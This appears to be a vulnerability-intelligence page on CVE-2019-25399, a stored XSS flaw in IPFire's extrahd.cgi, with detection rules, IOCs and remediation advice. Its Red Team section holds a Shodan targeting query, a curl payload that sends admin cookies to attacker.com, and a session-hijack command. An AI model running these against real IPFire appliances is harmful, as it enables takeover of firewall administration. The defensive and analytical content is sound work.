CVE-2019-25399
Executive Summary
CVE-2019-25399 identifies multiple stored cross-site scripting (XSS) vulnerabilities in the extrahd.cgi script of IPFire 2.21 Core Update 127. An unauthenticated attacker can inject arbitrary JavaScript via the FS, PATH, and UUID parameters in POST requests. When an authenticated administrator views the affected page, the injected script executes in the context of their session, potentially leading to session hijacking, credential theft, or further compromise of the IPFire appliance.
This vulnerability is particularly dangerous because IPFire is a firewall and router distribution, meaning a successful attack could expose internal network traffic, firewall rules, and VPN configurations. The CVSS score is 0.0 in the NVD data, but based on the description and impact, a more realistic score is 6.1 (Medium) with the vector provided above.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
IPFire is a Linux distribution built from source packages. While this vulnerability is not in a specific language package (NPM, PyPI, Go, Ruby), it affects the core web interface. The lack of a patch or advisory from the vendor increases supply chain risk for organizations relying on IPFire for network security.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attacker can send malicious requests over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required; the attacker simply sends a crafted POST request.
- Privileges Required (PR): None (N) – No authentication is needed to inject the payload.
- User Interaction (UI): Required (R) – The victim (admin) must visit the affected page.
- Scope (S): Changed (C) – The vulnerability allows the attacker to impact resources beyond the vulnerable component (e.g., steal admin session).
- Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
- Integrity (I): Low (L) – Limited ability to modify data (e.g., change firewall rules via XSS).
- Availability (A): None (N) – No direct impact on availability.
Threat Level: Medium (6.1) – Exploitation requires user interaction, but the impact on a firewall appliance is severe.
Deep Dive & Mechanics
The extrahd.cgi script is part of IPFire's web interface for managing external hard drives. It accepts POST parameters FS, PATH, and UUID to configure storage devices. The script fails to sanitize or encode user input before storing it in the backend (likely a configuration file or database). When the administrator views the storage management page, the stored values are rendered without proper escaping, allowing JavaScript execution.
Attack Flow:
- Attacker identifies an IPFire instance (e.g., via Shodan).
- Attacker sends a POST request to
/cgi-bin/extrahd.cgiwith a payload likeFS=<script>alert('XSS')</script>. - The payload is stored in the system.
- An authenticated administrator navigates to the storage management page.
- The browser executes the injected script, which can:
- Steal session cookies (
document.cookie). - Perform actions on behalf of the admin (e.g., modify firewall rules, add users).
- Exfiltrate sensitive data to an attacker-controlled server.
- Steal session cookies (
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
# In extrahd.cgi
my $fs = param('FS');
# Directly stored without sanitization
store_config($fs, $path, $uuid);
Patched Code (Expected):
# In extrahd.cgi
my $fs = param('FS');
$fs = CGI::escapeHTML($fs); # HTML-encode special characters
store_config($fs, $path, $uuid);
Since no official patch is available, the fix would involve HTML encoding all user-supplied input before storage and output encoding when rendering.
Exploitation & Lab Setup
Red Team (Exploitation)
Step 1: Identify Target
Use Shodan or masscan to find IPFire instances. Example Shodan query: title:"IPFire".
Step 2: Inject Payload
curl -X POST http://target/cgi-bin/extrahd.cgi \
-d "FS=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>" \
-d "PATH=/mnt/usb" \
-d "UUID=1234"
Step 3: Wait for Admin Interaction When an admin views the storage page, the script executes and sends the cookie to your server.
Step 4: Session Hijacking Use the stolen cookie to impersonate the admin:
curl -b "session=STOLEN_COOKIE" http://target/cgi-bin/index.cgi
Blue Team (Defense)
Detection:
- Monitor POST requests to
/cgi-bin/extrahd.cgicontaining<script>oronerror=patterns. - Use WAF rules to block common XSS payloads in
FS,PATH, andUUIDparameters.
Mitigation:
- Restrict access to the web interface to trusted IPs only.
- Implement Content Security Policy (CSP) headers to block inline scripts.
- Use input validation (allow only alphanumeric characters for
UUID, path patterns forPATH).
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/cgi-bin/extrahd.cgiwith suspicious parameters. - Outbound connections from IPFire to unknown IPs on port 80/443 (data exfiltration).
- POST requests to
- File IOCs:
- Modified configuration files under
/var/ipfire/containing JavaScript payloads.
- Modified configuration files under
- Log IOCs:
- Apache access logs showing
POST /cgi-bin/extrahd.cgiwithscripttags. - Browser console errors related to CSP violations.
- Apache access logs showing
Detection Engineering
YARA Rule
rule CVE_2019_25399_XSS_Payload {
meta:
description = "Detects XSS payloads targeting IPFire extrahd.cgi"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2019-25399"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
$param_fs = "FS="
$param_path = "PATH="
$param_uuid = "UUID="
condition:
any of ($xss*) and any of ($param*)
}
Sigma Rule
title: IPFire extrahd.cgi XSS Injection
id: 7b8c9d0e-1f2a-3b4c-5d6e-7f8a9b0c1d2e
status: experimental
description: Detects POST requests to extrahd.cgi with XSS payloads
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/cgi-bin/extrahd.cgi'
keywords:
- '<script'
- 'onerror='
- 'onload='
condition: selection and keywords
falsepositives:
- Legitimate use of script tags in storage names (unlikely)
level: high
Suricata Rule
alert http $EXTERNAL_NET any -> $HOME_NET any (
msg:"CVE-2019-25399 IPFire extrahd.cgi XSS Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/cgi-bin/extrahd.cgi"; http_uri;
content:"FS="; http_client_body;
pcre:"/<script[^>]*>.*<\/script>/i";
sid:1000001;
rev:1;
reference:cve,2019-25399;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Restrict access to the IPFire web interface to trusted IPs only (e.g., via firewall rules).
- Disable the
extrahd.cgiscript if external drive management is not needed. - Implement a Web Application Firewall (WAF) to block XSS payloads.
Long-term Fix:
- Apply input validation and output encoding to all parameters in
extrahd.cgi. - Upgrade to a patched version of IPFire if one becomes available.
- Monitor the IPFire mailing list and GitHub for security updates.
- Apply input validation and output encoding to all parameters in
Compromise Assessment:
- Check Apache logs for POST requests to
extrahd.cgiwith suspicious content. - Review firewall rules and VPN configurations for unauthorized changes.
- Rotate all administrative passwords and API keys.
- Check Apache logs for POST requests to
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert